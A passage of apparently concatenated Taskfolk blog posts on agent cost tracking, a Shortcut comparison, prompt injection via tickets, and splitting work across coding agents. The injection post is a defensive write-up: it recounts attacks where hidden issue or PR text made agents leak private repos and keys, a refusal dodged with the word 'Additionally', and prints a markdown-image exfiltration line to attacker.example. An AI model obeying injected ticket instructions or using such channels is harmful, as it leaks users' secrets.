flowchart TD R["Usage report arrives"] --> C{"cost_usd present"} C -->|"yes"| V["Stored verbatim, source reported"] C -->|"no"| M{"Model string in the rate table"} M -->|"yes"| E["Estimated from tokens"] M -->|"no"| N["Tokens recorded, cost stays null"] ``` A reported `cost_usd` of zero or more always wins and is stored exactly as sent. Otherwise the dollars come from a built in table keyed on the exact model string, with cached input priced at a tenth of the input rate. | Model string the agent reports | Input per 1M | Output per 1M | |---|---|---| | claude-haiku-4-5 | $1 | $5 | | claude-sonnet-4-6 | $3 | $15 | | claude-opus-4-8 | $5 | $25 | | claude-fable-5 | $10 | $50 | | gpt-4o | $2.50 | $10 | | gpt-4o-mini | $0.15 | $0.60 | | o3 | $2 | $8 | | o4-mini | $1.10 | $4.40 | The gaps say more than the entries. The provider catalogue covers nine kinds, Gemini CLI, DeepSeek, Kimi, Codex and Cursor among them; the price table covers two vendors. Report tokens with a model outside it and Taskfolk keeps the tokens and leaves cost null, because reading $0 when the truth is unknown is worse than reading nothing. One line in your run loop settles it: send `cost_usd` yourself, since your SDK already returns usage on every response. ## From sessions to a per ticket number Anchor the session to an issue when you start it and the join is one query. ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?issue_key=WEB-39" \ -H "Authorization: Bearer tfk_live_a1b2..." \ | jq '[.data[].cost_usd] | add' ``` Say WEB-39 took three sessions: two failed at $0.41 and $0.88, one finished with a PR link at $2.10. The ticket cost $3.39, not $2.10. On the issue each session carries a cost badge with a burn rate per minute beside it, and its tooltip holds the tokens and model behind the number. Now the sprint. Forty sessions across twenty two tickets, $61.40 reported, fourteen tickets done with a trace and a PR link. Per attempt that is $1.54. Per completed ticket it is $4.39, nearly three times higher, and the second number is the one you quote. ![An issue detail right rail with an Agent activity panel showing a Claude Code session marked Done beside a red Unverified badge.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) Set that against a person. Use your own loaded rate; call it $85 an hour, a $136,000 base at 1.3 loading over 2,080 hours. At that rate $4.39 buys three minutes of engineer time, so almost any ticket looks like a bargain. It is not, and this is the part token math posts leave out. A merged agent PR still has to be reviewed, and those PRs run long and sit waiting. Forty minutes of a senior engineer turns the ticket into $4.39 of tokens and about $57 of review. Shaving the $4.39 while leaving the $57 alone is the wrong lever by an order of magnitude, which is why the ticket shapes the bill more than the model does. There is a whole post on [writing tickets an agent can actually finish](/blog/write-tickets-ai-agents-can-finish), and once you have the cost side, [whether your agents actually saved time](/blog/did-your-agents-actually-save-time) is the other half of the answer. ## When one agent costs three times the others Three causes, in the order worth checking. Model choice first. The 800x spread is not a typo, and the cost by model panel settles it in seconds. An agent left on a frontier model to tidy labels is the usual culprit. Context size second. TrueFoundry documented a fifty engineer org that cut monthly agent spend from [$8,400 to under $800](https://www.truefoundry.com/blog/llm-cost-attribution-agentic-cicd) after tracing 92% of pipeline cost to one step, a 50,000 token security manual injected into every pull request, then putting a semantic cache in front of it. A per developer average hides that. It surfaces when you group spend by the thing doing the spending. The ticket third. Vague scope produces exploration, exploration produces retries, and retries are pure numerator. A running session with no heartbeat for thirty minutes renders as stalled, usually a paid agent going nowhere; [how to tell when an agent is stuck](/blog/is-your-ai-agent-stuck) covers that signal. ![The connected agents table listing four agents with their provider, who connected them, status, last active time and a truncated API key.](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) One caveat on the rollup page. The per day series and the cost by model breakdown come from the analytics store and go empty if it is unreachable; cost by agent comes from the session rows and always renders. The page says which is which rather than showing a blank chart. ## A cap that alerts and stops nothing Each agent can carry a spend cap, set from its menu by the agent's owner or a workspace admin and readable on the API as `spend_cap_usd`. When cumulative reported cost crosses it the owner gets an in app notification. It fires once per crossing, re arms if you change the cap, and writes an audit row. The in product copy is the honest version: "It's a heads-up, not a hard limit: Taskfolk never runs the model, so it can't stop the spend." The tokens are billed to your provider account by a process on your laptop or in your CI. A tracker claiming it could halt that would be lying. ## What this does not do Self reported figures can be wrong, or missing. An agent that never calls the usage endpoint leaves sessions with no cost, and no product design fixes a client that will not report. There is no worklog. Time tracking is three aggregate numbers on the issue: an estimate, a spent figure, a completion percentage. No per entry timesheets, no start and stop records, no billable rates, no export. [Tracking time on issues](/docs/how-to-track-time-on-issues) is the honest scope. ![The issue Time card, an 80 hour estimate against 36 hours spent, with budget and completion meters at 45%.](/images/blog/how-to-track-time-on-issues-time-card.webp) Cost renders per agent and per session. There is no per project cost page. You can get one by listing that project's sessions and summing them, which the API supports and the interface does not. API key usage and audit logs are a separate surface, covered in [tracking API usage and audit logs](/docs/how-to-track-api-usage-and-audit-logs). Two things that will not move your Taskfolk bill: connecting more agents, and running them harder. Agent members are excluded from seat counting, which the [seats post](/blog/do-ai-agents-count-as-seats) works through, and [delegating work to an agent](/docs/how-to-delegate-work-to-an-agent) covers the assignment flow that opens these sessions. If you already have an agent connected, add the usage call to the end of its run loop and leave it a week. Cost per completed ticket, and the ratio of bucket one to bucket three, will tell you more than any benchmark somebody else published. --- # Shortcut alternatives for teams running AI agents URL: https://taskfolk.ai/blog/shortcut-alternatives Published: 2026-07-26 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, comparison, pricing, AI agents, agentic project management, MCP, developer Shortcut alternatives for software teams: July 2026 pricing checked at the source, the seat math, and what changes when an AI agent is a real member. You want your coding agent to move its own Stories, so it needs a Shortcut credential. Whatever you hand it, the write lands under a human name: a personal API token, which Shortcut's docs say gives "complete access to your Shortcut account," or an OAuth session on its MCP server, which authorizes as you. Six months in, the activity feed says you personally did four hundred things. We build Taskfolk, a competitor, so weigh this accordingly. Every Shortcut figure below came off shortcut.com on 27 July 2026, and the two places Shortcut beats us get their own sections, not a footnote. ## What Shortcut gets right Shortcut is a good tracker. Stories, Epics, Iterations and Objectives, a fast UI, and a deliberate refusal to grow the administration surface that turns Jira into somebody's part-time job. The free tier is generous exactly where free tiers pinch: ten users, 5 GB of storage, Kanban Spaces, Roadmaps, Iterations, Docs and the GitHub, Slack and Figma integrations, at zero. Team adds the metrics dashboard, work-in-progress limits, multiple workflows and Automations. One row to check before you take Free seriously: under User Roles, the Free column reads "Admins and Owners." Everyone you invite is an administrator. The Member role starts on Team, at $8.50 a seat. ## Shortcut already ships agents, so the argument is about identity Shortcut's pricing comparison ticks AI Agent Collaboration and MCP Server on all four plans, Free included. Any alternatives post telling you Shortcut has no agent story is out of date. What it ships is a curated list. In the integrations directory, the Agents category holds Devin and Shortcut's own Korey. Devin gets a real handle: "Add Devin as the Story owner in Shortcut or tag Devin in a comment, and it will get to work immediately." Claude Code, Cursor and Windsurf sit under AI Dev Tools instead, where the integration connects them to Shortcut's hosted MCP server over OAuth. Convenient, and not the same thing, because OAuth authorizes as you. For anything outside that list, Shortcut's own [agents page](https://www.shortcut.com/agents) says: "Build and deploy your own agents with our API (coming soon)." Until then the fallback is the [REST API](https://developer.shortcut.com/api/rest/v3), where the token comes from your personal account settings, carries no scopes, and is described plainly: "Tokens provide complete access to your Shortcut account, so keep them secure." ```mermaid flowchart TD A["Agent writes a ticket"] --> B{"What credential"} B -->|"Vendor built integration"| C["Agent has its own handle"] B -->|"OAuth on an MCP server"| D["Write lands under your account"] B -->|"Personal API token"| D C --> E["History names the agent"] D --> F["History names you"] ``` ## What changes when an agent is a member instead of a token Connecting an agent in Taskfolk does four things in one transaction: inserts a user row flagged as an agent, on a subdomain that routes no mail so that identity can never receive a sign-in link; adds a workspace membership at the member role; writes an agent profile; and mints an API key whose creator is the agent's own user id. The last one is the whole trick. Because attribution runs through a real user id, the agent turns up in the assignee picker, the activity feed, the workload chart and the member list with no special casing. Disconnecting revokes the key and leaves history attributed, so a ticket the agent closed in March still says so in July. ![The Taskfolk agent hub roster, listing connected agents with provider logos, owner and session state.](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) The cap is 25 agents per workspace, an abuse guard rather than a plan lever. [Connecting an agent](/docs/how-to-connect-an-ai-agent) has the mechanics. On top of identity sits a per-agent field policy: an allowlist over fourteen issue fields, enforced at one write choke point covering REST, the transition endpoint and MCP. A triage agent gets `labels` and `priority`, nothing more. It is per field, not per value, so you can say whether an agent writes status at all, not that it may only set status to In review. The [field permission guide](/docs/how-to-set-agent-field-permissions) walks the tokens. ![The Taskfolk agent field policy dialog with a partial allowlist of writable issue fields.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) ## Delegation as a record on the ticket Assigning an issue to an agent creates a session row before the agent has done anything. The session is a state machine, it lives on the ticket, and it carries the pull request link, the model name and reported token counts. ```mermaid stateDiagram-v2 [*] --> pending pending --> running running --> needs_input needs_input --> running running --> review review --> done running --> failed pending --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` Stall is derived at read time, never stored: a running session with no heartbeat for thirty minutes renders as stalled, not as progress. Entering `needs_input`, `review`, `done` or `failed` notifies the owner, reporter, assignee and watchers. ![A Taskfolk agent session list showing running, needs input and done sessions with elapsed time and issue key.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Two limits, plainly. Taskfolk delivers triggers over a per-agent event stream and stores the session record; it never runs the agent, so the runtime stays yours to babysit. Session cost is whatever the agent reports, since those tokens go on your provider account, which we cannot see or cap. A write from the agent's own key is an ordinary API call: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-142/transition" \ -H "Authorization: Bearer tfk_live_a1b2c3d4e5f6" \ -H "Content-Type: application/json" \ -d '{"status": "in_review"}' ``` ```javascript await fetch(`${base}/projects/WEB/issues/WEB-142/transition`, { method: "POST", headers: { Authorization: `Bearer ${key}` }, body: JSON.stringify({ status: "in_review" }), }); ``` ```python requests.post( f"{base}/projects/WEB/issues/WEB-142/transition", headers={"Authorization": f"Bearer {key}"}, json={"status": "in_review"}, ) ``` ```json { "key": "WEB-142", "status": "in_review", "status_name": "In review" } ``` `status` is the fixed category the API accepts; `status_name` is your board column's label. One registry generates both the REST spec and the MCP tool catalogue from those 180-plus operations, so they cannot drift. [MCP or REST](/blog/mcp-or-rest-api-for-your-agent) has the tradeoff. ## What it costs on both sides Compare like with like or the exercise is theatre, so every figure here is annual. From [shortcut.com/pricing](https://www.shortcut.com/pricing) on 27 July 2026, toggle exercised both ways: Team is $8.50 per user per month yearly and $10 monthly, Business $12 yearly and $16 monthly, Free stops at 10 users. Taskfolk is $30 per editor seat per year on Pro, $60 on Business, viewers free and agents excluded. | Team shape | Taskfolk Pro | Shortcut Team | Shortcut Business | |---|---|---|---| | 8 builders, 12 read-only | $240/yr | $816/yr | $1,152/yr | | 2 builders, 30 read-only | $60/yr | $2,244/yr | $3,168/yr | The first row is a 3.4x gap, the second 37x, and the reason for the jump matters more than either number. Shortcut read-only seats are free, capped at five per paid seat. At 8 builders that allowance is 40, so all twelve viewers cost nothing on either product. At 2 builders it is 10, so twenty of your thirty stakeholders become billable Members. If your shape is a few builders and a large readership, run that ratio first. Otherwise Shortcut viewers are free too and the gap is seat price alone, the same argument as [Jira per seat](/blog/jira-alternatives-price-per-seat). Our Business tier is $480 a year for those eight builders, still under Shortcut Team. ![The Taskfolk billing page showing the Free, Pro and Business plan grid with per seat prices.](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) Now the fact that argues against us. The [Shortcut Startup Program](https://www.shortcut.com/startups) offers "12 months of free access to our Business Plan, which includes unlimited everything, plus SAML SSO" to new customers under 50 employees, under $10M raised, under five years old, and not a consulting agency. If that is you, Shortcut costs nothing for a year on its best non-enterprise tier and no price argument reaches you until month thirteen. It bites now only if you are an agency, over fifty people, or already a customer. There is a second meter. Korey, Shortcut's own product agent, is billed per organization rather than per seat: $59 a month for 250 interactions, $149 for 1,000, every message counting as one (korey.ai/pricing, 27 July 2026). Ours runs on credits, 5,000 a month on Pro. Neither shape is cheaper in the abstract, and what your agent burns on provider tokens is a third bill again ([cross-vendor comparison](/blog/ai-agent-cost-per-task), [do AI agents count as seats](/blog/do-ai-agents-count-as-seats)). ## Where the two actually differ | | Taskfolk | Shortcut | |---|---|---| | Agent identity | Own user row, own key, own attribution | Devin and Korey by name, otherwise your own credential | | Agents in the seat count | Excluded in the billing code | Not stated publicly | | Read-only seats | Unlimited, free | Free, five per paid seat | | Storage | 128 MB Free, 1 GB Pro, 100 GB Business | 5 GB Free, 250 GB paid | | Status enforcement | Transition rules reject a disallowed move | Customizable workflows, enforcement undocumented | | Work in progress limits | Advisory counter | Advisory limit, Team plan and up | | Machine surface | 180-plus REST operations, MCP from one registry | REST at 200 requests a minute, hosted MCP over OAuth | | Repository integrations | GitHub only | GitHub, GitLab, Bitbucket | | SSO and SCIM | Included on paid plans | Add-on at Business, included on Enterprise | Two rows need a footnote. Work-in-progress limits are advisory on both sides: our board counts and reddens the column past a default, Shortcut flags the limit you set, neither refuses the card. What we enforce is transitions, where an illegal status move returns an error from every write path including the API. Whether Shortcut enforces moves is undocumented, so read that row as unknown rather than absent. The full side-by-side, with sources, is on the [Taskfolk vs Shortcut](/vs/shortcut) page. ## What you give up by leaving Shortcut has things we do not. GitLab and Bitbucket, for a start; our repository provider enum has one entry and it is GitHub. Its comparison table marks Miro, Notion, Sentry, Zendesk and Zapier as included on every plan, and it has a real Slack app. Ours is outbound webhook formatting that notices a Slack URL and shapes the payload: no slash commands, no unfurls, no two-way sync. Then the flat gaps. No native mobile app and no offline mode, so if half your standup happens on a phone, stop reading. Docs are single editor with version history, not real-time co-editing, and there is no PDF export. Five fixed roles, no custom permission schemes, and time tracking is three aggregate fields on the issue rather than a timesheet. ## Moving the data, concretely There is no Shortcut connector; our service connectors are Trello, ClickUp, Jira, Monday, Linear and Asana. Migrating from Shortcut means CSV, and the shape of the loss is knowable before you start. Shortcut's [export documentation](https://www.shortcut.com/help/admin/export-data) puts "Export as CSV" on the workspace dashboard, the Stories Table and the Space dropdown. The file carries over fifty columns per Story. Our importer reads eleven: ```text title, type, status, priority, assignee_email, labels, description, comments, attachment_urls, due_at, estimate_minutes ``` Four things bite. Comments do not survive: the Shortcut export has no comments column at all. Ours splits on `|||` or a `---` line into twenty per issue, so backfill from their API if the discussion matters. Statuses land in Backlog unless you rewrite them, because we take `backlog`, `todo`, `in_progress`, `in_review`, `done` and `cancelled` plus a few aliases, and Shortcut's `state` column holds whatever you named your workflow states. Owners are names, not emails, and `assignee_email` only resolves against people already invited, so invite the team first and rewrite that column. Estimates differ in unit: Shortcut's `estimate` is points, ours is `estimate_minutes`, so drop it unless you convert. Types are the pleasant surprise: `story_type` is `feature`, `bug` or `chore`, and those land as story, bug and task with no work from you. ![The Taskfolk import wizard source picker, with CSV alongside the six service connectors.](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) The importer takes 1,000 rows per upload, so a large workspace means splitting the export by Epic. Epic parenting, Iterations, Objectives, Teams and custom fields have nowhere to land in eleven columns, and Shortcut's own importer does not take those either. Budget an afternoon of reparenting whichever way you move; the [import walkthrough](/docs/how-to-import-your-project) has the mapping. ## How to decide Stay on Shortcut if you qualify for the Startup Program, if your code lives in GitLab or Bitbucket, if the Miro and Notion and Sentry shelf is load-bearing, or if anyone works from a phone. Seat arithmetic beats none of those. Move if you are building your own agents instead of picking from a list, and want each to hold its own credential and its own row in the history. Move if your shape is three builders and thirty readers, or if you want an enforceable answer to which fields an agent may write. The cheapest way to find out is to export one project as CSV, fix the status column, import it on the free tier, connect one agent and give it a ticket you would otherwise write yourself. If it comes back wrong the cause is usually the ticket, not the agent, and [writing tickets an agent can finish](/blog/write-tickets-ai-agents-can-finish) is the next thing to read. --- # Prompt injection starts in the ticket your agent reads URL: https://taskfolk.ai/blog/prompt-injection-starts-in-the-ticket Published: 2026-07-26 Author: The Taskfolk team Tags: security, AI agent management, AI agents, agentic project management, MCP, developer A stranger can write the ticket your AI agent reads. Real 2026 prompt injection incidents, what a hijacked agent can change, and how to cut the blast radius. A stranger can put text in front of your coding agent. Not by breaking in, just by filing a ticket, emailing support, or commenting on a public repo. If the agent reads it while holding a key that writes back, the stranger is editing your board through it. On 6 July, Noma Labs published [GitLost](https://noma.security/blog/gitlost-how-we-tricked-githubs-ai-agent-into-leaking-private-repos/). Sasi Levi filed an ordinary looking issue on a public GitHub repo, instructions sitting in the body in plain English. A GitHub Agentic Workflow whose token could read private repos fired on `issues.assigned`, and the agent posted the README of a private repository into a public comment on that same issue. Opening the malicious instruction with the word "Additionally" got past the refusal, which Levi says made the model "reframe its output rather than refuse it". No parser was exploited and no credential stolen first. Someone wrote a sentence in a text box a team had deliberately left open, and an agent with far more access read it as a job. ## What is actually on the record Most of what ranks here is one 2025 proof of concept. The ledger, with dates. Cato Networks published Living Off AI in June 2025: a ticket arrives through a public Jira Service Management portal, an engineer asks an MCP connected model to summarise it, and the model pulls other internal tickets into a comment on the attacker's ticket. The attacker never touched the MCP server. The support engineer was the proxy. Zenity Labs followed on 1 August 2025 with Marina Simakov's AgentFlayer, where a support email synced from Zendesk into a Jira ticket and Cursor, running unattended, exfiltrated stored AWS credentials. That payload cleared alignment checks by never using the words "API key" or "credential". Neither has a CVE, whatever a search summary tells you. 2026 is worse. On 15 April, Aonan Guan, Zhengyu Liu and Gavin Zhong of Johns Hopkins published [Comment and Control](https://oddguan.com/blog/comment-and-control-prompt-injection-credential-theft-claude-code-gemini-cli-github-copilot/), hitting three agents through three ordinary fields: a PR title for Claude Code's security review action, an issue comment for the Gemini CLI action, and an issue body wrapped in an HTML comment for the Copilot agent. It reached `ANTHROPIC_API_KEY`, `GEMINI_API_KEY`, `GITHUB_TOKEN` and the Copilot job nonce. The vendor responses are the part I reread. Anthropic rated it Critical, revised the score up to CVSS 9.4, then set the severity to None on 20 April 2026 and paid $100. Google paid $1,337. GitHub closed the report, reopened it two days later, and paid $500. The HTML comment is the detail worth carrying around. It renders as nothing in a browser and stays fully visible to a model reading raw markdown. Your reviewer reads a clean ticket. The agent reads two. ```markdown Steps to reproduce: 1. Open the billing page ``` Manifold Security found the same shape in another tracker five days ago: hidden instructions in an Azure DevOps pull request description, executed by a review agent under the reviewer's credentials, which pasted a confidential wiki page into a comment. Microsoft's MCP server already applies spotlighting delimiters elsewhere and had missed that endpoint. The same week, [IssueTrojanBench](https://arxiv.org/abs/2607.20759) put a number on it. Singh, Yang and Chen tested Cursor, Claude Code and Codex Desktop, and report that "66.5% of the malicious issues from IssueTrojanBench penetrate all the guardrails (agent- and LLM-level) of coding agents." ## Why this lands on the tracker, not only on the model Our bias, up front. We build Taskfolk, a tracker where AI agents are real workspace members. We do not run your agent, we never see its provider account, and we do not read your tickets looking for injected instructions. Nothing below makes you immune. All of it is about how much a hijacked agent can break before it runs out of permission. ```mermaid flowchart TD A["Anonymous form submission"] --> T["Ticket in the tracker"] B["Imported backlog row"] --> T C["Guest comment"] --> T T --> R["Agent reads it over MCP or REST"] R --> X["Agent runtime on your box or CI"] X --> W["Writes back to the tracker"] X --> O["Any other network call"] ``` The tracker owns two hops: the bytes it takes at intake, and the writes it takes on the way back. The middle hop belongs to your agent vendor and your runtime, where almost every published defence lives and where you have least say. Both ends are configuration you can change today. ## Rank your own intake by who wrote the bytes Which tickets in your backlog were written by someone outside your company? Most trackers cannot answer that, and the tiers are nowhere near equal. | Tier | Source | Who writes it | Control that matters | |---|---|---|---| | 1 | Public form at `/f/` | Anyone with the link | Tightest field policy | | 2 | Imported backlog or CSV | Strangers in another tool | Stage it, read it first | | 3 | Another API key or MCP client | The key holder | Narrow scopes, watch usage | | 4 | Guest issues and comments | An outside collaborator | Project membership only | | 5 | Member comments | Staff quoting customer email | Normal review | Tier 1 is the only anonymous write path, opt in per form. A form serves at all only if its token is at least sixteen characters, the form is published, public access is on, and the project is live. That gate decides whether a submission is accepted, not what it says. [Setting up a request form](/docs/how-to-set-up-a-request-form) takes two minutes. Spend the next two on the field policy of the agent behind it. ![Taskfolk form builder, Build tab: a published Bug report form whose required Summary question maps to Issue title.](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) One design decision matters here. Autonomous AI triage fires from exactly one place, the interactive create action in the app. Import, form submissions, template seeding and the public API take a different code path and never reach a model. A five hundred row Jira import makes zero model calls. Here is the part a careless version of this post leaves out. A form submission does fire `issue.created` automations and the agent assignment trigger, so a stranger's submission can wake a connected agent through a routing rule or a `notify_agent` action. No model of ours reads that text. Yours might. If you are [turning submissions into triaged issues](/blog/turn-a-request-form-into-a-triaged-issue), keep a human in the middle until you trust the traffic. ## What a hijacked agent can actually do to your board "Unauthorized actions" tells you nothing, so here is the write surface. An agent holds an API key that can PATCH issue fields, move status through the transition endpoint, post comments, upload attachments, and touch docs and chat, each only if that scope was granted. The limits deserve the same precision. It cannot reach another workspace, or billing, or the loopback only admin panel. It cannot exceed its scopes, and it cannot sign in to the web interface at all: agent identities live on a subdomain that routes no mail. Then there are the sinks. The GitLost shape is a comment on the issue, and we see that one: it lands in the activity feed under the agent's name. The other is any HTTP request the runtime makes, which we cannot see, being outside that process. One classic channel is closed on our side. Markdown images lose their `src` at render unless the host is same origin or an allowlisted bucket, so `![](https://attacker.example/?d=SECRET)` fires nothing from a reader's browser. The runtime is untouched. ## Four controls that shrink the blast radius Start with the per agent field allowlist. Fourteen tokens exist, `null` means every field is writable, and one write pipeline enforces the policy across REST PATCH, the transition endpoint, every MCP `update_issue` and the time endpoint. A denied write returns a 403 naming the field and listing what is allowed, never a quiet drop. ![Taskfolk field policy dialog, What can this agent edit, with only Status, Priority and Labels ticked for a triage bot.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/acme/agents/ag_7f2c91 \ -H "Authorization: Bearer tfk_live_a1b2..." \ -d '{"field_policy": ["status", "description", "estimate", "spent"]}' ``` The response echoes the stored allowlist: ```json { "id": "ag_7f2c91", "role": "member", "field_policy": ["status", "description", "estimate", "spent"] } ``` Scopes come next: 47 in total, three coarse parents and 44 leaf `resource:action` scopes, intersected with the role's ceiling at call time. They only ever narrow, so a key cannot grant itself something its role lacks. Third is the identity ceiling: connecting an agent creates a member, never an admin or owner, and a workspace caps at 25 live agents. Fourth is attribution. The key's creator is the agent's own user row, so every write lands in the activity feed and audit log under its name, and disconnecting revokes the key without detaching the history. That is the raw material for [an audit trail of agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes) and the wider [controls a tracker can enforce](/blog/ai-agent-governance-for-project-teams). ![A Taskfolk issue: named activity feed left, Agent activity panel right, showing a Done session flagged Unverified.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) ## What we do not do, and where GitHub beats us We do not scan ticket text for injected instructions and we do not strip them. One spotlighting style frame exists, on our own AI backlog breakdown prompts: it wraps the source in a delimiter and tells the model everything inside is data. That protects a feature we run. It does nothing for what your agent reads over MCP, because we are not on that path. Skipping detection is deliberate, and the reason is [The Attacker Moves Second](https://arxiv.org/abs/2510.09023), published 10 October 2025 by authors at OpenAI, Anthropic and Google DeepMind among others. They "bypass 12 recent defenses (based on a diverse set of techniques) with attack success rate above 90% for most", where "the majority of defenses originally reported near-zero attack success rates". Their human red teaming track broke all twelve. A scanner would give us a number for a marketing page and move your exposure by nothing. The gaps, plainly. Field policy is per field, not per value: an agent may write status, or not, but you cannot pin it to In Review. It does not gate issue creation or deletion, which scopes and roles govern. Five fixed roles, no custom schemes. Agent cost is self reported, because the tokens are spent on the agent's own provider account, so a spend signal alerts and never blocks. The unverified badge above is a heuristic that one comment defeats. | Control | Where it lives | Copilot coding agent | Taskfolk | |---|---|---|---| | Filter hidden characters in issue text | Whoever reads the ticket | documented | no | | Act only on input from users with write access | The trigger | documented | no, a form can wake one | | Egress firewall on the agent process | The runtime | on by default | we do not run it | | Per field write allowlist | The tracker | not documented | 14 tokens per agent | | Every write attributed to the agent | The tracker | PR authorship | member identity, audit log | [GitHub's documentation](https://docs.github.com/en/enterprise-cloud@latest/copilot/responsible-use-of-github-copilot-features/responsible-use-of-copilot-coding-agent-on-githubcom) beats us on runtime containment and it is not close. Their cloud agent "filters hidden characters that might allow users to hide harmful instructions in comments or issue contents", "only responds to interactions from users with repository write access", and by default "has a firewall enabled to prevent exfiltration of code". They can do that because they run it. We cannot. Per field write restriction is the one control we have that they do not document, and the incumbents are no better: Atlassian's own article on restricting field editing says Jira Cloud "does not natively support field-level restrictions based on roles, groups, or transitions", then recommends stitching screens, workflow properties and permission schemes together to approximate it. ## The checklist for Monday Four are ours. Four are yours, and yours matter more. 1. Scope each agent's key to one project, not the whole workspace. 2. Set the field policy before the first assignment, not after the first incident ([short walkthrough](/docs/how-to-set-agent-field-permissions)). 3. Turn off any automation that assigns an agent straight from a public form. 4. Import legacy backlogs into a staging project and read them first. 5. On your runtime: no unattended mode for anything a ticket can trigger. 6. On your runtime: keep provider keys out of the agent process environment. 7. On your runtime: deny outbound network by default, allowlist the job's needs. 8. Weekly, read the agent's activity feed and its [API usage and audit rows](/docs/how-to-track-api-usage-and-audit-logs). ![Taskfolk audit table on the Developer page: api_key and oauth_client events with time, actor, kind and payload.](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) Most of your failure rate is not an attack. [Writing tickets an agent can finish](/blog/write-tickets-ai-agents-can-finish) moves it more than any security work here, and where no agent should write unsupervised, [route it through approval](/docs/human-in-the-loop-approval-for-ai-agents) rather than a policy. Open the agent you connected first and read its field policy. If it is still `null`, that agent can write every field on every issue it can see, including whatever a stranger filed this morning. --- # How to split work between Claude Code, Codex and Cursor URL: https://taskfolk.ai/blog/split-work-between-coding-agents Published: 2026-07-26 Author: The Taskfolk team Tags: AI agents, MCP, multi-agent, Claude Code, how-to, workflow, developer, agentic project management How to split work between Claude Code, Codex and Cursor: a division of labour that holds up, and where the shared state lives since none of them reads the others. Two migration files, same table, same new column, both sitting in one pull request. Claude Code wrote the first at 11:40. Codex wrote the second at 11:52, from a branch that had never heard of it. Neither agent did anything wrong. Neither had any way to find out about the other. A July 2026 paper put a number on that. The authors replayed three way git merges on 747 pairs of concurrently open, agent authored pull requests, one pair per repository, drawn from a dataset of 33,596 agent PRs across 2,807 repos. Pairs written by two different agents hit textual conflicts 41.7 percent of the time. Pairs where the same agent ran twice hit 19.8 percent, with non overlapping 95 percent confidence intervals. Source files, not lockfiles, were 84.4 percent of the conflicted files ([Xu, Subramanian and Karthik, arXiv:2607.04697](https://arxiv.org/abs/2607.04697v2)). The caveat is the interesting half. Cross agent pairs were only 0.5 percent of the co-active pairs they found, in 122 of 2,807 repositories. Almost nobody is running two vendors' agents into one repo at the same time yet. If you are reading this, you are in that 4.3 percent, and roughly double the conflict rate is your baseline. I work on Taskfolk, so discount the product sections accordingly. The first half is vendor documentation you can go and check. ## Three subscriptions is ordinary, the transport cost is not Most people asking how to split work between these tools are really asking whether paying for three is stupid. The adoption data says it is normal. [Digital Applied surveyed 2,847 developers](https://www.digitalapplied.com/blog/ai-coding-tool-adoption-2026-developer-survey) at 320 agencies and in-house teams between January and March 2026. Primary tool share came out at Claude Code 28 percent, Cursor 24, GitHub Copilot 17, Codex 11. The column worth reading is any-use: Copilot 58 percent, Claude Code 54, Cursor 49, Codex 31. Those sum to well over 100 because most respondents named at least two more tools in a supporting role. It is an agency's own marketing research rather than a peer reviewed study, so treat the decimals as directional and the shape as real. The second and third subscription is cheap next to the actual cost, which is that you have become the transport layer between them. You explain a decision to Claude Code, explain it again to Cursor, paste the acceptance criteria into Codex. Every one of those is you carrying state by hand because nothing else will. ![The Taskfolk agents hub showing a workspace member directory with several connected AI agents listed alongside human members, each row carrying a provider badge, an owner, and a session count.](/images/blog/manage-a-team-of-ai-agents-roster.webp) ## What each tool actually stores, and where Instructions and memory get discussed as one thing. They are two, and the difference decides what you can share. Every row below comes from the vendor's own docs, read on 26 July 2026. Check the dates on any table like this, including this one. | | Claude Code | Codex | Cursor | |---|---|---|---| | Instruction file | `CLAUDE.md`, `.claude/CLAUDE.md`, `~/.claude/CLAUDE.md`, plus a managed policy path | `AGENTS.override.md` then `AGENTS.md`, from `~/.codex` and the git root down | `.cursor/rules/*.mdc`, plus `AGENTS.md` in the root and subdirectories | | Reads the others? | No. The docs say flatly that it reads `CLAUDE.md`, not `AGENTS.md` | No `CLAUDE.md` by default, though fallback filenames are configurable | Yes for `AGENTS.md`; the CLI docs add `CLAUDE.md` at project root | | Merge rule | Discovered files concatenated root to cwd, closest last, `@path` imports to a depth of four | Concatenated root to cwd, closer overrides, combined size capped at 32 KiB | Team rules, then project rules, then user rules, all merged, earlier source wins | | The trap | Past roughly 200 lines adherence drops, and it is context, not enforcement | Hit the 32 KiB ceiling and it simply stops adding files | A plain `.md` in `.cursor/rules` is ignored because it has no frontmatter | | Auto memory | `~/.claude/projects//memory/`, first 200 lines or 25 KB per session, machine local | Not documented as a feature | Per project and per person, generated in the background, managed in settings | | Session store | JSONL under `~/.claude/projects/`, format internal and version dependent | Rollout JSONL under `~/.codex/sessions/`, community verified rather than documented | Not documented; `--resume` and session listing exist | Two things follow. Instructions really are converging: all three read a plain markdown file, [`AGENTS.md` is winning the naming fight](https://learn.chatgpt.com/docs/agent-configuration/agents-md), and one symlink or a single `@AGENTS.md` import line gives you one instruction file that all three load. Claude Code's own docs tell you to do exactly that. Call it solved. Memory and session state are not converging, and were never designed to. Claude Code's memory page says auto memory is machine local and the files are "not shared across machines or cloud environments". [Cursor keeps its rules as `.mdc` files with frontmatter](https://cursor.com/docs/context/rules) and its memories per project, per person, behind your settings. Codex writes rollout files whose shape it does not publish. Nobody is building a bridge between them, because none of the three has a reason to. ```mermaid flowchart LR A["Claude Code"] --> A1["CLAUDE.md and local auto memory"] B["Codex"] --> B1["AGENTS.md and rollout files"] C["Cursor"] --> C1["mdc rules and per project memories"] A --> T["The work record"] B --> T C --> T ``` So the only state all three can read and write is state you keep somewhere else. For most teams that place already exists, and it is the tracker. ## A split that survives Tuesday afternoon Here is the division of labour nearly everyone 